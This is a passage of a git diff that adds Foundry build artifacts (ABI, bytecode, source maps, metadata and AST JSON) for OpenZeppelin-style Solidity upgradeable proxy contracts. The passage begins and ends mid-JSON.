()"}},"id":47271,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5086:23:29","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":47272,"nodeType":"ExpressionStatement","src":"5086:23:29"}]},"baseFunctions":[47116],"documentation":{"id":47255,"nodeType":"StructuredDocumentation","src":"4794:110:29","text":" @dev Makes sure the admin cannot access the fallback function. See {Proxy-_beforeFallback}."},"implemented":true,"kind":"function","modifiers":[],"name":"_beforeFallback","nameLocation":"4918:15:29","overrides":{"id":47257,"nodeType":"OverrideSpecifier","overrides":[],"src":"4953:8:29"},"parameters":{"id":47256,"nodeType":"ParameterList","parameters":[],"src":"4933:2:29"},"returnParameters":{"id":47258,"nodeType":"ParameterList","parameters":[],"src":"4962:0:29"},"scope":47275,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"}],"abstract":false,"baseContracts":[{"baseName":{"id":47132,"name":"ERC1967Proxy","nameLocations":["1689:12:29"],"nodeType":"IdentifierPath","referencedDeclaration":46747,"src":"1689:12:29"},"id":47133,"nodeType":"InheritanceSpecifier","src":"1689:12:29"}],"canonicalName":"TransparentUpgradeableProxy","contractDependencies":[],"contractKind":"contract","documentation":{"id":47131,"nodeType":"StructuredDocumentation","src":"197:1451:29","text":" @dev This contract implements a proxy that is upgradeable by an admin.\n To avoid https://medium.com/nomic-labs-blog/malicious-backdoors-in-ethereum-proxies-62629adf3357[proxy selector\n clashing], which can potentially be used in an attack, this contract uses the\n https://blog.openzeppelin.com/the-transparent-proxy-pattern/[transparent proxy pattern]. This pattern implies two\n things that go hand in hand:\n 1. If any account other than the admin calls the proxy, the call will be forwarded to the implementation, even if\n that call matches one of the admin functions exposed by the proxy itself.\n 2. If the admin calls the proxy, it can access the admin functions, but its calls will never be forwarded to the\n implementation. If the admin tries to call a function on the implementation it will fail with an error that says\n \"admin cannot fallback to proxy target\".\n These properties mean that the admin account can only be used for admin actions like upgrading the proxy or changing\n the admin, so it's best if it's a dedicated account that is not used for anything else. This will avoid headaches due\n to sudden errors when trying to call a function from the proxy implementation.\n Our recommendation is for the dedicated account to be an instance of the {ProxyAdmin} contract. If set up this way,\n you should think of the `ProxyAdmin` instance as the real administrative interface of your proxy."},"fullyImplemented":true,"linearizedBaseContracts":[47275,46747,47065,47117],"name":"TransparentUpgradeableProxy","nameLocation":"1658:27:29","scope":47276,"usedErrors":[],"usedEvents":[46766,46912,46977]}],"license":"MIT"},"id":29} \ No newline at end of file diff --git a/contracts/out/UpgradeableProxy-08.sol/UpgradeableProxy.json b/contracts/out/UpgradeableProxy-08.sol/UpgradeableProxy.json new file mode 100644 index 000000000..cf4b3a996 --- /dev/null +++ b/contracts/out/UpgradeableProxy-08.sol/UpgradeableProxy.json @@ -0,0 +1 @@ +{"abi":[{"type":"constructor","inputs":[{"name":"_logic","type":"address","internalType":"address"},{"name":"_data","type":"bytes","internalType":"bytes"}],"stateMutability":"nonpayable"},{"type":"fallback","stateMutability":"payable"},{"type":"receive","stateMutability":"payable"},{"type":"event","name":"Upgraded","inputs":[{"name":"implementation","type":"address","indexed":true,"internalType":"address"}],"anonymous":false}],"bytecode":{"object":"0x608060405234801561000f575f80fd5b5060405161039538038061039583398101604081905261002e916101b8565b61005960017f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbd610280565b5f8051602061037583398151915214610074576100746102a5565b61007d826100f0565b8051156100e9575f826001600160a01b03168260405161009d91906102b9565b5f60405180830381855af49150503d805f81146100d5576040519150601f19603f3d011682016040523d82523d5f602084013e6100da565b606091505b50509050806100e7575f80fd5b505b50506102d4565b6001600160a01b0381163b6101715760405162461bcd60e51b815260206004820152603660248201527f5570677261646561626c6550726f78793a206e657720696d706c656d656e746160448201527f74696f6e206973206e6f74206120636f6e747261637400000000000000000000606482015260840160405180910390fd5b5f8051602061037583398151915255565b634e487b7160e01b5f52604160045260245ffd5b5f5b838110156101b0578181015183820152602001610198565b50505f910152565b5f80604083850312156101c9575f80fd5b82516001600160a01b03811681146101df575f80fd5b60208401519092506001600160401b03808211156101fb575f80fd5b818501915085601f83011261020e575f80fd5b81518181111561022057610220610182565b604051601f8201601f19908116603f0116810190838211818310171561024857610248610182565b81604052828152886020848701011115610260575f80fd5b610271836020830160208801610196565b80955050505050509250929050565b8181038181111561029f57634e487b7160e01b5f52601160045260245ffd5b92915050565b634e487b7160e01b5f52600160045260245ffd5b5f82516102ca818460208701610196565b9190910192915050565b6095806102e05f395ff3fe608060405236601057600e6013565b005b600e5b6040603c7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b6042565b565b365f80375f80365f845af43d5f803e808015605b573d5ff35b3d5ffdfea2646970667358221220b0fc386a2963fc5dc92d1d8ea07628cb7576c834f25661137c45bfd2af7af0fc64736f6c63430008180033360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc","sourceMap":"686:2280:60:-:0;;;1067:389;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;1164:54;1217:1;1172:41;1164:54;:::i;:::-;-1:-1:-1;;;;;;;;;;;1132:87:60;1125:95;;;;:::i;:::-;1230:26;1249:6;1230:18;:26::i;:::-;1270:12;;:16;1266:184;;1366:12;1383:6;-1:-1:-1;;;;;1383:19:60;1403:5;1383:26;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1365:44;;;1431:7;1423:16;;;;;;1288:162;1266:184;1067:389;;686:2280;;2604:360;-1:-1:-1;;;;;1465:19:33;;;2677:104:60;;;;-1:-1:-1;;;2677:104:60;;2325:2:155;2677:104:60;;;2307:21:155;2364:2;2344:18;;;2337:30;2403:34;2383:18;;;2376:62;2474:24;2454:18;;;2447:52;2516:19;;2677:104:60;;;;;;;;-1:-1:-1;;;;;;;;;;;2917:31:60;2604:360::o;14:127:155:-;75:10;70:3;66:20;63:1;56:31;106:4;103:1;96:15;130:4;127:1;120:15;146:250;231:1;241:113;255:6;252:1;249:13;241:113;;;331:11;;;325:18;312:11;;;305:39;277:2;270:10;241:113;;;-1:-1:-1;;388:1:155;370:16;;363:27;146:250::o;401:1063::-;489:6;497;550:2;538:9;529:7;525:23;521:32;518:52;;;566:1;563;556:12;518:52;592:16;;-1:-1:-1;;;;;637:31:155;;627:42;;617:70;;683:1;680;673:12;617:70;755:2;740:18;;734:25;706:5;;-1:-1:-1;;;;;;808:14:155;;;805:34;;;835:1;832;825:12;805:34;873:6;862:9;858:22;848:32;;918:7;911:4;907:2;903:13;899:27;889:55;;940:1;937;930:12;889:55;969:2;963:9;991:2;987;984:10;981:36;;;997:18;;:::i;:::-;1072:2;1066:9;1040:2;1126:13;;-1:-1:-1;;1122:22:155;;;1146:2;1118:31;1114:40;1102:53;;;1170:18;;;1190:22;;;1167:46;1164:72;;;1216:18;;:::i;:::-;1256:10;1252:2;1245:22;1291:2;1283:6;1276:18;1331:7;1326:2;1321;1317;1313:11;1309:20;1306:33;1303:53;;;1352:1;1349;1342:12;1303:53;1365:68;1430:2;1425;1417:6;1413:15;1408:2;1404;1400:11;1365:68;:::i;:::-;1452:6;1442:16;;;;;;;401:1063;;;;;:::o;1469:225::-;1536:9;;;1557:11;;;1554:134;;;1610:10;1605:3;1601:20;1598:1;1591:31;1645:4;1642:1;1635:15;1673:4;1670:1;1663:15;1554:134;1469:225;;;;:::o;1699:127::-;1760:10;1755:3;1751:20;1748:1;1741:31;1791:4;1788:1;1781:15;1815:4;1812:1;1805:15;1831:287;1960:3;1998:6;1992:13;2014:66;2073:6;2068:3;2061:4;2053:6;2049:17;2014:66;:::i;:::-;2096:16;;;;;1831:287;-1:-1:-1;;1831:287:155:o;2123:418::-;686:2280:60;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405236601057600e6013565b005b600e5b6040603c7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b6042565b565b365f80375f80365f845af43d5f803e808015605b573d5ff35b3d5ffdfea2646970667358221220b0fc386a2963fc5dc92d1d8ea07628cb7576c834f25661137c45bfd2af7af0fc64736f6c63430008180033","sourceMap":"686:2280:60:-:0;;;;;;2898:11:27;:9;:11::i;:::-;686:2280:60;;2675:11:27;2322:110;2397:28;2407:17;1855:66:60;2215:11;;2000:242;2407:17:27;2397:9;:28::i;:::-;2322:110::o;948:895::-;1286:14;1283:1;1280;1267:34;1500:1;1497;1481:14;1478:1;1462:14;1455:5;1442:60;1576:16;1573:1;1570;1555:38;1614:6;1681:66;;;;1796:16;1793:1;1786:27;1681:66;1716:16;1713:1;1706:27","linkReferences":{}},"methodIdentifiers":{},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_logic\",\"type\":\"address\"},{\"internalType\":\"bytes\",\"name\":\"_data\",\"type\":\"bytes\"}],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"implementation\",\"type\":\"address\"}],\"name\":\"Upgraded\",\"type\":\"event\"},{\"stateMutability\":\"payable\",\"type\":\"fallback\"},{\"stateMutability\":\"payable\",\"type\":\"receive\"}],\"devdoc\":{\"details\":\"This contract implements an upgradeable proxy. It is upgradeable because calls are delegated to an implementation address that can be changed. This address is stored in storage in the location specified by https://eips.ethereum.org/EIPS/eip-1967[EIP1967], so that it doesn't conflict with the storage layout of the implementation behind the proxy. Upgradeability is only provided internally through {_upgradeTo}. For an externally upgradeable proxy see {TransparentUpgradeableProxy}.\",\"events\":{\"Upgraded(address)\":{\"details\":\"Emitted when the implementation is upgraded.\"}},\"kind\":\"dev\",\"methods\":{\"constructor\":{\"details\":\"Initializes the upgradeable proxy with an initial implementation specified by `_logic`. If `_data` is nonempty, it's used as data in a delegate call to `_logic`. This will typically be an encoded function call, and allows initializating the storage of the proxy like a Solidity constructor.\"}},\"stateVariables\":{\"_IMPLEMENTATION_SLOT\":{\"details\":\"Storage slot with the address of the current implementation. This is the keccak-256 hash of \\\"eip1967.proxy.implementation\\\" subtracted by 1, and is validated in the constructor.\"}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/helpers/UpgradeableProxy-08.sol\":\"UpgradeableProxy\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol\":{\"keccak256\":\"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472\",\"dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Address.sol\":{\"keccak256\":\"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487\",\"dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG\"]},\"src/helpers/UpgradeableProxy-08.sol\":{\"keccak256\":\"0x319f7523f3d894ee062108cb5cff1f54335cf1e2604e183664a53e154d661cdb\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://706f501ff1a2ceedea443a2105d40719cd96e0aa8a5301d07b36104cba3edac1\",\"dweb:/ipfs/QmcwF5eM3rkHby1sVYU4HHCCy7rXDuh7zBLWSVXnSrRKEt\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"_logic","type":"address"},{"internalType":"bytes","name":"_data","type":"bytes"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"implementation","type":"address","indexed":true}],"type":"event","name":"Upgraded","anonymous":false},{"inputs":[],"stateMutability":"payable","type":"fallback"},{"inputs":[],"stateMutability":"payable","type":"receive"}],"devdoc":{"kind":"dev","methods":{"constructor":{"details":"Initializes the upgradeable proxy with an initial implementation specified by `_logic`. If `_data` is nonempty, it's used as data in a delegate call to `_logic`. This will typically be an encoded function call, and allows initializating the storage of the proxy like a Solidity constructor."}},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/helpers/UpgradeableProxy-08.sol":"UpgradeableProxy"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol":{"keccak256":"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27","urls":["bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472","dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Address.sol":{"keccak256":"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10","urls":["bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487","dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG"],"license":"MIT"},"src/helpers/UpgradeableProxy-08.sol":{"keccak256":"0x319f7523f3d894ee062108cb5cff1f54335cf1e2604e183664a53e154d661cdb","urls":["bzz-raw://706f501ff1a2ceedea443a2105d40719cd96e0aa8a5301d07b36104cba3edac1","dweb:/ipfs/QmcwF5eM3rkHby1sVYU4HHCCy7rXDuh7zBLWSVXnSrRKEt"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/helpers/UpgradeableProxy-08.sol","id":50096,"exportedSymbols":{"Address":[48259],"Proxy":[47117],"UpgradeableProxy":[50095]},"nodeType":"SourceUnit","src":"33:2934:60","nodes":[{"id":49986,"nodeType":"PragmaDirective","src":"33:23:60","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":49987,"nodeType":"ImportDirective","src":"58:51:60","nodes":[],"absolutePath":"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol","file":"openzeppelin-contracts-08/proxy/Proxy.sol","nameLocation":"-1:-1:-1","scope":50096,"sourceUnit":47118,"symbolAliases":[],"unitAlias":""},{"id":49988,"nodeType":"ImportDirective","src":"110:53:60","nodes":[],"absolutePath":"lib/openzeppelin-contracts-08/contracts/utils/Address.sol","file":"openzeppelin-contracts-08/utils/Address.sol","nameLocation":"-1:-1:-1","scope":50096,"sourceUnit":48260,"symbolAliases":[],"unitAlias":""},{"id":50095,"nodeType":"ContractDefinition","src":"686:2280:60","nodes":[{"id":50037,"nodeType":"FunctionDefinition","src":"1067:389:60","nodes":[],"body":{"id":50036,"nodeType":"Block","src":"1115:341:60","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"id":50012,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"leftExpression":{"id":50000,"name":"_IMPLEMENTATION_SLOT","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50046,"src":"1132:20:60","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"arguments":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":50010,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"leftExpression":{"arguments":[{"arguments":[{"hexValue":"656970313936372e70726f78792e696d706c656d656e746174696f6e","id":50006,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1182:30:60","typeDescriptions":{"typeIdentifier":"t_stringliteral_360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbd","typeString":"literal_string \"eip1967.proxy.implementation\""},"value":"eip1967.proxy.implementation"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbd","typeString":"literal_string \"eip1967.proxy.implementation\""}],"id":50005,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"1172:9:60","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":50007,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1172:41:60","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":50004,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1164:7:60","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":50003,"name":"uint256","nodeType":"ElementaryTypeName","src":"1164:7:60","typeDescriptions":{}}},"id":50008,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1164:50:60","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"-","rightExpression":{"hexValue":"31","id":50009,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1217:1:60","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"src":"1164:54:60","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":50002,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1156:7:60","typeDescriptions":{"typeIdentifier":"t_type$_t_bytes32_$","typeString":"type(bytes32)"},"typeName":{"id":50001,"name":"bytes32","nodeType":"ElementaryTypeName","src":"1156:7:60","typeDescriptions":{}}},"id":50011,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1156:63:60","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"src":"1132:87:60","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":49999,"name":"assert","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-3,"src":"1125:6:60","typeDescriptions":{"typeIdentifier":"t_function_assert_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":50013,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1125:95:60","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":50014,"nodeType":"ExpressionStatement","src":"1125:95:60"},{"expression":{"arguments":[{"id":50016,"name":"_logic","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49994,"src":"1249:6:60","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":50015,"name":"_setImplementation","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50094,"src":"1230:18:60","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$returns$__$","typeString":"function (address)"}},"id":50017,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1230:26:60","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":50018,"nodeType":"ExpressionStatement","src":"1230:26:60"},{"condition":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":50022,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":50019,"name":"_data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49996,"src":"1270:5:60","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"id":50020,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1276:6:60","memberName":"length","nodeType":"MemberAccess","src":"1270:12:60","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">","rightExpression":{"hexValue":"30","id":50021,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1285:1:60","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"src":"1270:16:60","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":50035,"nodeType":"IfStatement","src":"1266:184:60","trueBody":{"id":50034,"nodeType":"Block","src":"1288:162:60","statements":[{"assignments":[50024,null],"declarations":[{"constant":false,"id":50024,"mutability":"mutable","name":"success","nameLocation":"1371:7:60","nodeType":"VariableDeclaration","scope":50034,"src":"1366:12:60","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":50023,"name":"bool","nodeType":"ElementaryTypeName","src":"1366:4:60","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},null],"id":50029,"initialValue":{"arguments":[{"id":50027,"name":"_data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49996,"src":"1403:5:60","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"id":50025,"name":"_logic","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49994,"src":"1383:6:60","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":50026,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1390:12:60","memberName":"delegatecall","nodeType":"MemberAccess","src":"1383:19:60","typeDescriptions":{"typeIdentifier":"t_function_baredelegatecall_nonpayable$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$","typeString":"function (bytes memory) returns (bool,bytes memory)"}},"id":50028,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1383:26:60","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes_memory_ptr_$","typeString":"tuple(bool,bytes memory)"}},"nodeType":"VariableDeclarationStatement","src":"1365:44:60"},{"expression":{"arguments":[{"id":50031,"name":"success","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50024,"src":"1431:7:60","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":50030,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"1423:7:60","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":50032,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1423:16:60","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":50033,"nodeType":"ExpressionStatement","src":"1423:16:60"}]}}]},"documentation":{"id":49992,"nodeType":"StructuredDocumentation","src":"727:335:60","text":" @dev Initializes the upgradeable proxy with an initial implementation specified by `_logic`.\n If `_data` is nonempty, it's used as data in a delegate call to `_logic`. This will typically be an encoded\n function call, and allows initializating the storage of the proxy like a Solidity constructor."},"implemented":true,"kind":"constructor","modifiers":[],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":49997,"nodeType":"ParameterList","parameters":[{"constant":false,"id":49994,"mutability":"mutable","name":"_logic","nameLocation":"1087:6:60","nodeType":"VariableDeclaration","scope":50037,"src":"1079:14:60","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":49993,"name":"address","nodeType":"ElementaryTypeName","src":"1079:7:60","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":49996,"mutability":"mutable","name":"_data","nameLocation":"1108:5:60","nodeType":"VariableDeclaration","scope":50037,"src":"1095:18:60","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":49995,"name":"bytes","nodeType":"ElementaryTypeName","src":"1095:5:60","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"1078:36:60"},"returnParameters":{"id":49998,"nodeType":"ParameterList","parameters":[],"src":"1115:0:60"},"scope":50095,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":50042,"nodeType":"EventDefinition","src":"1535:47:60","nodes":[],"anonymous":false,"documentation":{"id":50038,"nodeType":"StructuredDocumentation","src":"1462:68:60","text":" @dev Emitted when the implementation is upgraded."},"eventSelector":"bc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","name":"Upgraded","nameLocation":"1541:8:60","parameters":{"id":50041,"nodeType":"ParameterList","parameters":[{"constant":false,"id":50040,"indexed":true,"mutability":"mutable","name":"implementation","nameLocation":"1566:14:60","nodeType":"VariableDeclaration","scope":50042,"src":"1550:30:60","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":50039,"name":"address","nodeType":"ElementaryTypeName","src":"1550:7:60","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"1549:32:60"}},{"id":50046,"nodeType":"VariableDeclaration","src":"1807:114:60","nodes":[],"constant":true,"documentation":{"id":50043,"nodeType":"StructuredDocumentation","src":"1588:214:60","text":" @dev Storage slot with the address of the current implementation.\n This is the keccak-256 hash of \"eip1967.proxy.implementation\" subtracted by 1, and is\n validated in the constructor."},"mutability":"constant","name":"_IMPLEMENTATION_SLOT","nameLocation":"1832:20:60","scope":50095,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":50044,"name":"bytes32","nodeType":"ElementaryTypeName","src":"1807:7:60","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"value":{"hexValue":"307833363038393461313362613161333231303636376338323834393264623938646361336532303736636333373335613932306133636135303564333832626263","id":50045,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1855:66:60","typeDescriptions":{"typeIdentifier":"t_rational_24440054405305269366569402256811496959409073762505157381672968839269610695612_by_1","typeString":"int_const 2444...(69 digits 